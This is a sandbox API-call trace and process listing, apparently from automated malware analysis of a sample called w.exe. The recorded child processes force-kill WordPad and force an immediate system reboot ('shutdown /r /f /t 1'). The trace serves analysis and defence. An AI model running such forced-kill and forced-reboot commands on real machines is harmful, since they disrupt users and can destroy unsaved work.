	[0049.652] GetProcessHeap () returned 0x3a0000
	[0049.652] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3baa28 | out: hHeap=0x3a0000) returned 1
	[0049.652] GetProcessHeap () returned 0x3a0000
	[0049.652] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bea38 | out: hHeap=0x3a0000) returned 1
	[0049.652] GetProcessHeap () returned 0x3a0000
	[0049.652] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b6a10 | out: hHeap=0x3a0000) returned 1
	[0049.652] GetConsoleOutputCP () returned 0x1b5
	[0049.652] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0049.652] GetUserDefaultLCID () returned 0x409
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a044950, cchData=8 | out: lpLCData=":") returned 2
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef704, cchData=128 | out: lpLCData="0") returned 2
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef704, cchData=128 | out: lpLCData="0") returned 2
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef704, cchData=128 | out: lpLCData="1") returned 2
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a044940, cchData=8 | out: lpLCData="/") returned 2
	[0049.653] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a044d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a044d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a044d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a044cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a044c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a044c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a044c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a044930, cchData=8 | out: lpLCData=".") returned 2
	[0049.654] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a044920, cchData=8 | out: lpLCData=",") returned 2
	[0049.654] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0049.655] GetProcessHeap () returned 0x3a0000
	[0049.655] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x20c) returned 0x3b2f30
	[0049.655] GetConsoleTitleW (in: lpConsoleTitle=0x3b2f30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.656] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0049.656] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0049.656] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0049.656] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0049.656] GetProcessHeap () returned 0x3a0000
	[0049.656] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x400a) returned 0x3b6a10
	[0049.656] GetProcessHeap () returned 0x3a0000
	[0049.656] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b6a10 | out: hHeap=0x3a0000) returned 1
	[0049.657] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0049.657] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0049.657] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0049.657] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0049.657] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0049.657] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0049.657] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0049.657] GetProcessHeap () returned 0x3a0000
	[0049.657] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x58) returned 0x3b3148
	[0049.657] GetProcessHeap () returned 0x3a0000
	[0049.657] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x1a) returned 0x3b5710
	[0049.658] GetProcessHeap () returned 0x3a0000
	[0049.658] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x30) returned 0x3b31a8
	[0049.658] GetConsoleTitleW (in: lpConsoleTitle=0x1ef3fc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.659] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0049.659] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0049.659] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0049.659] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0049.659] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0049.659] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0049.659] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0049.659] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0049.659] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0049.659] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0049.659] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0049.659] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0049.659] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0049.659] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0049.659] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0049.659] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0049.659] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0049.659] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0049.659] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0049.659] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0049.659] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0049.660] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0049.660] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0049.660] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0049.660] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0049.660] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0049.660] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0049.660] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0049.660] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0049.660] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0049.660] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0049.660] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0049.660] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0049.660] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0049.660] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0049.660] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0049.660] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0049.660] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0049.660] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0049.660] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0049.660] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0049.660] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0049.660] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0049.660] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0049.660] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0049.660] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0049.660] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0049.660] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0049.661] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0049.661] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0049.661] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0049.661] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0049.661] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0049.661] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0049.661] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0049.661] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0049.661] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0049.661] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0049.661] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0049.661] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0049.661] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0049.661] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0049.661] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0049.661] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0049.661] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0049.661] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0049.661] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0049.661] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0049.661] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0049.661] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0049.661] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0049.661] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0049.661] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0049.661] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0049.661] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0049.661] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0049.661] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0049.661] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0049.661] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0049.661] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0049.661] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0049.661] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0049.662] GetProcessHeap () returned 0x3a0000
	[0049.662] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x210) returned 0x3b31e0
	[0049.662] GetProcessHeap () returned 0x3a0000
	[0049.662] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x42) returned 0x3b33f8
	[0049.662] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0049.662] GetProcessHeap () returned 0x3a0000
	[0049.662] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x418) returned 0x3a07f0
	[0049.662] SetErrorMode (uMode=0x0) returned 0x8003
	[0049.662] SetErrorMode (uMode=0x1) returned 0x0
	[0049.663] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3a07f8, lpFilePart=0x1eef1c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1eef1c*="Desktop") returned 0x25
	[0049.663] SetErrorMode (uMode=0x8003) returned 0x1
	[0049.663] GetProcessHeap () returned 0x3a0000
	[0049.663] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3a07f0, Size=0x66) returned 0x3a07f0
	[0049.663] GetProcessHeap () returned 0x3a0000
	[0049.663] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3a07f0) returned 0x66
	[0049.663] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.663] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0049.663] GetProcessHeap () returned 0x3a0000
	[0049.663] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x120) returned 0x3b3448
	[0049.663] GetProcessHeap () returned 0x3a0000
	[0049.663] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x238) returned 0x3a0860
	[0049.665] GetProcessHeap () returned 0x3a0000
	[0049.665] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3a0860, Size=0x122) returned 0x3a0860
	[0049.665] GetProcessHeap () returned 0x3a0000
	[0049.665] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3a0860) returned 0x122
	[0049.665] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a050640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.665] GetProcessHeap () returned 0x3a0000
	[0049.665] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xe0) returned 0x3a0990
	[0049.665] GetProcessHeap () returned 0x3a0000
	[0049.665] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3a0990, Size=0x76) returned 0x3a0990
	[0049.665] GetProcessHeap () returned 0x3a0000
	[0049.665] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3a0990) returned 0x76
	[0049.665] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x1eec98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eec98) returned 0xffffffff
	[0049.665] GetLastError () returned 0x2
	[0049.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x1eec98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eec98) returned 0xffffffff
	[0049.666] GetLastError () returned 0x2
	[0049.666] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.666] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x1eec98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eec98) returned 0x3b3570
	[0049.666] GetProcessHeap () returned 0x3a0000
	[0049.666] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x14) returned 0x3a0a10
	[0049.666] FindClose (in: hFindFile=0x3b3570 | out: hFindFile=0x3b3570) returned 1
	[0049.666] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1eec98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eec98) returned 0xffffffff
	[0049.666] GetLastError () returned 0x2
	[0049.666] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eec98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eec98) returned 0x3b3570
	[0049.666] GetProcessHeap () returned 0x3a0000
	[0049.666] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3a0a10, Size=0x4) returned 0x3a0a10
	[0049.666] FindClose (in: hFindFile=0x3b3570 | out: hFindFile=0x3b3570) returned 1
	[0049.666] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0049.666] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0049.667] GetConsoleTitleW (in: lpConsoleTitle=0x1ef190, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.667] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef018, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef0e0 | out: lpAttributeList=0x1ef018, lpSize=0x1ef0e0) returned 1
	[0049.667] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef018, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef0d8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef018, lpPreviousValue=0x0) returned 1
	[0049.667] GetStartupInfoW (in: lpStartupInfo=0x1eefd4 | out: lpStartupInfo=0x1eefd4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc8, hStdOutput=0xac, hStdError=0xb8)) 
	[0049.667] GetProcessHeap () returned 0x3a0000
	[0049.667] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x18) returned 0x3b3570
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.667] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0049.668] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0049.668] GetProcessHeap () returned 0x3a0000
	[0049.668] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b3570 | out: hHeap=0x3a0000) returned 1
	[0049.668] GetProcessHeap () returned 0x3a0000
	[0049.668] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa) returned 0x3afee0
	[0049.668] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0049.670] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im wordpad.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ef074*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im wordpad.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef0c0 | out: lpCommandLine="taskkill  /f /im wordpad.exe", lpProcessInformation=0x1ef0c0*(hProcess=0x78, hThread=0x74, dwProcessId=0x53c, dwThreadId=0x39c)) returned 1
	[0049.675] CloseHandle (hObject=0x74) returned 1
	[0049.675] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0049.675] GetProcessHeap () returned 0x3a0000
	[0049.675] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5ed0 | out: hHeap=0x3a0000) returned 1
	[0049.675] GetEnvironmentStringsW () returned 0x3c4a48*
	[0049.675] GetProcessHeap () returned 0x3a0000
	[0049.675] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb36) returned 0x3b4090
	[0049.675] FreeEnvironmentStringsW (penv=0x3c4a48) returned 1
	[0049.675] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0049.957] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eefb4 | out: lpExitCode=0x1eefb4*=0x80) returned 1
	[0049.957] CloseHandle (hObject=0x78) returned 1
	[0049.957] _vsnwprintf (in: _Buffer=0x1ef0fc, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eefc0 | out: _Buffer="00000080") returned 8
	[0049.957] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0049.957] GetProcessHeap () returned 0x3a0000
	[0049.957] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4090 | out: hHeap=0x3a0000) returned 1
	[0049.957] GetEnvironmentStringsW () returned 0x3b4090*
	[0049.957] GetProcessHeap () returned 0x3a0000
	[0049.957] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb5c) returned 0x3b5ed0
	[0049.957] FreeEnvironmentStringsW (penv=0x3b4090) returned 1
	[0049.957] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0049.957] GetProcessHeap () returned 0x3a0000
	[0049.957] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5ed0 | out: hHeap=0x3a0000) returned 1
	[0049.957] GetEnvironmentStringsW () returned 0x3b4090*
	[0049.957] GetProcessHeap () returned 0x3a0000
	[0049.957] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb5c) returned 0x3b5ed0
	[0049.958] FreeEnvironmentStringsW (penv=0x3b4090) returned 1
	[0049.958] GetProcessHeap () returned 0x3a0000
	[0049.958] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3afee0 | out: hHeap=0x3a0000) returned 1
	[0049.958] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef018 | out: lpAttributeList=0x1ef018) 
	[0049.958] _get_osfhandle (_FileHandle=1) returned 0xac
	[0049.958] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0049.958] _get_osfhandle (_FileHandle=1) returned 0xac
	[0049.958] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a0441ac | out: lpMode=0x4a0441ac) returned 0
	[0049.958] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0049.958] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a0441b0 | out: lpMode=0x4a0441b0) returned 0
	[0049.958] GetConsoleOutputCP () returned 0x1b5
	[0049.958] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0049.958] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0049.958] exit (_Code=128) 

Process:
	id = "81"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x48d25000"
	os_pid = "0x53c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "80"
	os_parent_pid = "0x5a4"
	cmd_line = "taskkill  /f /im wordpad.exe"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 329
	os_tid = 0x39c


Thread:
	id = 330
	os_tid = 0x7e8


Thread:
	id = 331
	os_tid = 0x58c


Thread:
	id = 332
	os_tid = 0x7c4


Thread:
	id = 333
	os_tid = 0x7ac


Process:
	id = "82"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x30e48000"
	os_pid = "0x8c4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"shutdown /r /f /t 1\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
